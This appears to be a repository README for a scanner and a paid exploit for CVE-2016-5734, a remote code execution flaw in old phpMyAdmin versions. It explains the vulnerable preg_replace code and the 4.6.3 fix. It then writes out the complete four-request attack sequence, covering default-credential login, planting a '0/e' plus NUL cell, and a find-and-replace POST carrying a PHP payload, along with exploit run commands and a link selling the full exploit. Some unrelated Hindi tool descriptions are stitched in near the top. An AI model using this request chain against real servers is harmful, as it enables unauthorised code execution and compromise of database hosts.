
Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace.

तेज़ YAML-आधारित भेद्यता स्कैनर, जिसमें वेब ऐप्स, एपीआई, नेटवर्क, DNS और क्लाउड इंफ्रास्ट्रक्चर में स्वचालित सुरक्षा परीक्षण के लिए टेम्पलेट-संचालित डिटेक्शन इंजन है।

स्वचालित भेद्यता का पता लगाने, मैनुअल पेनिट्रेशन टेस्टिंग, और प्रॉक्सी-आधारित इंटरसेप्शन इंजन के साथ API सुरक्षा परीक्षण के लिए ओपन-सोर्स वेब एप्लिकेशन सुरक्षा स्कैनर।

इस रिपॉजिटरी में Greenbone Community Edition के लिए स्कैनर घटक शामिल है।
phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution
| field | value |
|---|---|
| CVE | CVE-2016-5734 |
| severity | critical |
| CVSS | 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H; template EPSS 0.91745, percentile 0.99814) |
| fixed in | phpMyAdmin 4.0.10.16, 4.4.15.7, 4.6.3 (and PHP 7.0+ where /e is gone) |
| class | preg_replace /e (eval) modifier reachable through the table find-and-replace feature (CWE-95) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RYa
The regex branch of the table search-and-replace feature builds its PCRE
pattern by plain concatenation "/" . $find . "/". A cell that stores
0/e followed by a NUL byte makes the pattern terminate at the NUL, so
preg_replace() sees /0/e: the stray e lands after the closing
delimiter and becomes the eval modifier, which evaluates the
replaceWith string as PHP code. An authenticated user (root/root is
often enough) therefore runs arbitrary PHP. The template confirms
execution by having the replacement print the md5 of a random nonce.
tbl_find_replace.php dispatches searchType=replace to the table
search controller. In 4.6.2 the regex path is:
$result[$index][1] = preg_replace(
"/" . $find . "/",
$replaceWith,
$row[0]
);
With find = 0/e plus a NUL byte, the NUL truncates the pattern string
inside PCRE, the pattern collapses to /0/e, and the e modifier makes
preg_replace() eval the replacement string, e.g.
print(md5(<nonce>));. The digest then appears in the AJAX JSON body.
On PHP 7.0+ the /e modifier no longer exists (deprecated since 5.5,
removed in 7.0), so the same requests produce no digest and the host
shows as not-vuln.
The 4.6.3 patch (libraries/controllers/table/TableSearchController.php)
picks a delimiter that does not occur inside the find string, so no
modifier character can leak past the closing delimiter:
$delimiters = array('/', '@', '#', '~', '!', '$', '%', '^', '&', '_');
... first delimiter absent from $find ...
if (!$found) { return false; }
$find = $delimiters[$i] . $find . $delimiters[$i];
preg_replace($find, $replaceWith, $row[0]);
The same fix landed in the 4.0.10.16 and 4.4.15.7 maintenance lines.
max-request: 4), mirroring the nuclei
template flow http(1) && http(2) && http(3) && http(4).GET /index.php?lang=en; extract the session token with the
template regex name="token" value="([a-f0-9]{16,})".POST /index.php?lang=en with
pma_username=root&pma_password=root&server=1&target=index.php&token=<t>
(accept 200 or 302, as the template does).POST /import.php with
db=test&ajax_request=true&sql_query=CREATE DATABASE IF NOT EXISTS test; DROP TABLE IF EXISTS test.prgpwn; CREATE TABLE test.prgpwn (c varchar(10)); INSERT INTO test.prgpwn VALUES (UNHEX('302F6500'));
where 302F6500 is 0/e plus NUL.POST /tbl_find_replace.php with
db=test&table=prgpwn&goto=sql.php&columnIndex=0&useRegex=on&replace=true
&submit=Go&ajax_request=true&find=0%2Fe%00&replaceWith=print(md5(<num>))%3B.num (rand_int 10000000..99999999).check(url) returns (True, details) only when step 4 answers 200
and the digest substring is present; details keeps per-step status,
the expected digest and a 200-char snippet.token is computed over the JSON result so a merely
reflected page is distinguishable from a real /e evaluation.urls.txt are auto-prefixed with http://.# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2016-5734/scanner.py urls.txt 8 CVE-2016-5734.csv --json CVE-2016-5734.json
# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2016-5734/exploit.py http://target/ --csv CVE-2016-5734.csv --json CVE-2016-5734.json --verbose
urls.txt is a plain file, one target per line, # for comments.
RCE POC SUITE
scanner : CVE-2016-5734 v1.0.0
threads : 4 | csv: CVE-2016-5734.csv | json: CVE-2016-5734.json
RCE POC SUITE
[..] loaded 1 target(s) from urls.txt
[..] [1/1] https://demo.phpmyadmin.net/QA_4_6 -> not-vuln
[..] json sidecar saved: CVE-2016-5734.json
[..] summary: total=1 vulnerable=0 not-vuln=1 errors=0
[..] timing : avg=31957ms max=31957ms wall=31.96s
[..] report saved: CVE-2016-5734.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-match (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2016-5734/exploit.py - four-stage POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored (or no targets loaded) |
The POC returns 0 when its token verification passes and 2 on
verification failed.